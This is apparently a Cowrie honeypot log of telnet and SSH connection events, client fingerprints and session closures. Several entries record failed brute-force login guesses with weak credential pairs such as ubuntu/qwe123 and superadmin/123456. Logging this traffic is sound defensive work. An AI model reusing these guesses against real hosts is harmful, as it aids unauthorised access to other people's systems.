{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58770,"dst_ip":"10.17.0.5","dst_port":23,"session":"867e528dec95","protocol":"telnet","message":"New connection: 38.54.119.93:58770 (10.17.0.5:23) [session: 867e528dec95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:27.415182Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34640,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d1a22036bdd","protocol":"ssh","message":"New connection: 176.65.132.254:34640 (10.17.0.5:22) [session: 9d1a22036bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:29.407178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:29.411564Z","src_ip":"176.65.132.254","session":"9d1a22036bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:29.495111Z","src_ip":"176.65.132.254","session":"9d1a22036bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46106,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd36041cda9e","protocol":"telnet","message":"New connection: 62.210.97.77:46106 (10.17.0.5:23) [session: dd36041cda9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:29.572243Z"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:29.747557Z","src_ip":"176.65.132.254","session":"9d1a22036bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:30.844456Z","src_ip":"176.65.132.254","session":"9d1a22036bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53064,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4f2c7a05b94","protocol":"telnet","message":"New connection: 165.232.131.181:53064 (10.17.0.5:23) [session: f4f2c7a05b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:30.965341Z"}
{"eventid":"cowrie.session.closed","duration":0.005276203155517578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:30.970498Z","src_ip":"165.232.131.181","session":"f4f2c7a05b94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.07891869544983,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:31.669961Z","src_ip":"165.232.131.181","session":"1c80f0b20cc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.16246938705444,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:31.731469Z","src_ip":"62.210.97.77","session":"f4083463e579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.19836950302124,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:32.613451Z","src_ip":"38.54.119.93","session":"867e528dec95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.52627897262573,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:32.919068Z","src_ip":"62.210.97.77","session":"28b4b6893e2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.797980308532715,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:33.134214Z","src_ip":"65.60.27.33","session":"07a579fb06e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.00248312950134,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:33.420185Z","src_ip":"134.209.8.29","session":"3c6cf4f7d0da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51844,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb598957533c","protocol":"ssh","message":"New connection: 176.65.132.254:51844 (10.17.0.5:22) [session: bb598957533c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:33.963817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:33.968778Z","src_ip":"176.65.132.254","session":"bb598957533c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:34.055918Z","src_ip":"176.65.132.254","session":"bb598957533c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:34.316703Z","src_ip":"176.65.132.254","session":"bb598957533c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:35.502178Z","src_ip":"176.65.132.254","session":"bb598957533c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.918145179748535,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:35.539058Z","src_ip":"62.210.97.77","session":"f391bcfbdbe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40657877922058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:36.045682Z","src_ip":"136.144.139.78","session":"818a14d51415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.458592653274536,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:37.490034Z","src_ip":"65.60.27.33","session":"c1e46990b4d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47820,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea948f146206","protocol":"telnet","message":"New connection: 65.60.27.33:47820 (10.17.0.5:23) [session: ea948f146206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:37.791246Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51870,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ccc058f3b5","protocol":"ssh","message":"New connection: 176.65.132.254:51870 (10.17.0.5:22) [session: a4ccc058f3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:38.451413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:38.547646Z","src_ip":"176.65.132.254","session":"a4ccc058f3b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:38.555264Z","src_ip":"176.65.132.254","session":"a4ccc058f3b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:38.882942Z","src_ip":"176.65.132.254","session":"a4ccc058f3b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":51348,"dst_ip":"159.203.135.109","dst_port":22,"session":"10abf8f3e819","protocol":"ssh","message":"New connection: 103.189.235.176:51348 (159.203.135.109:22) [session: 10abf8f3e819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:39.739416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:39.744985Z","src_ip":"103.189.235.176","session":"10abf8f3e819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:39.966838Z","src_ip":"176.65.132.254","session":"a4ccc058f3b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:39.982309Z","src_ip":"103.189.235.176","session":"10abf8f3e819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superadmin","password":"123456","message":"login attempt [superadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:40.964047Z","src_ip":"103.189.235.176","session":"10abf8f3e819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50606,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ec9e547264f","protocol":"telnet","message":"New connection: 62.210.97.77:50606 (10.17.0.5:23) [session: 7ec9e547264f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:41.184888Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50598,"dst_ip":"10.17.0.5","dst_port":23,"session":"3668063755e9","protocol":"telnet","message":"New connection: 62.210.97.77:50598 (10.17.0.5:23) [session: 3668063755e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:41.451816Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:42.200032Z","src_ip":"103.189.235.176","session":"10abf8f3e819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50622,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb0630f95c1e","protocol":"telnet","message":"New connection: 62.210.97.77:50622 (10.17.0.5:23) [session: fb0630f95c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:42.547010Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50634,"dst_ip":"10.17.0.5","dst_port":23,"session":"a274ee002a7f","protocol":"telnet","message":"New connection: 62.210.97.77:50634 (10.17.0.5:23) [session: a274ee002a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:42.579598Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44526,"dst_ip":"10.17.0.5","dst_port":22,"session":"97e97a2bf419","protocol":"ssh","message":"New connection: 176.65.132.254:44526 (10.17.0.5:22) [session: 97e97a2bf419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:42.961763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:42.966408Z","src_ip":"176.65.132.254","session":"97e97a2bf419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:43.048381Z","src_ip":"176.65.132.254","session":"97e97a2bf419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.82363438606262,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:43.165868Z","src_ip":"65.60.27.33","session":"a662e23d3048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50636,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2806ed987af","protocol":"telnet","message":"New connection: 62.210.97.77:50636 (10.17.0.5:23) [session: e2806ed987af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:43.258914Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17648,"dst_ip":"10.17.0.5","dst_port":22,"session":"58cdf0aa8a85","protocol":"ssh","message":"New connection: 190.129.122.12:17648 (10.17.0.5:22) [session: 58cdf0aa8a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:43.307296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:43.313364Z","src_ip":"190.129.122.12","session":"58cdf0aa8a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:43.447523Z","src_ip":"176.65.132.254","session":"97e97a2bf419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:43.482790Z","src_ip":"190.129.122.12","session":"58cdf0aa8a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50650,"dst_ip":"10.17.0.5","dst_port":23,"session":"995e9c9d1eb5","protocol":"telnet","message":"New connection: 62.210.97.77:50650 (10.17.0.5:23) [session: 995e9c9d1eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:43.506075Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user11","message":"login attempt [user/user11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:44.217594Z","src_ip":"190.129.122.12","session":"58cdf0aa8a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:44.541744Z","src_ip":"176.65.132.254","session":"97e97a2bf419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.32082271575928,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:45.359896Z","src_ip":"62.210.97.77","session":"d3dabe3e321e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:45.389971Z","src_ip":"190.129.122.12","session":"58cdf0aa8a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.946046113967896,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:45.484705Z","src_ip":"65.60.27.33","session":"59d43037a662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55300,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d9968d054d9","protocol":"telnet","message":"New connection: 134.209.8.29:55300 (159.203.135.109:23) [session: 3d9968d054d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:45.552085Z"}
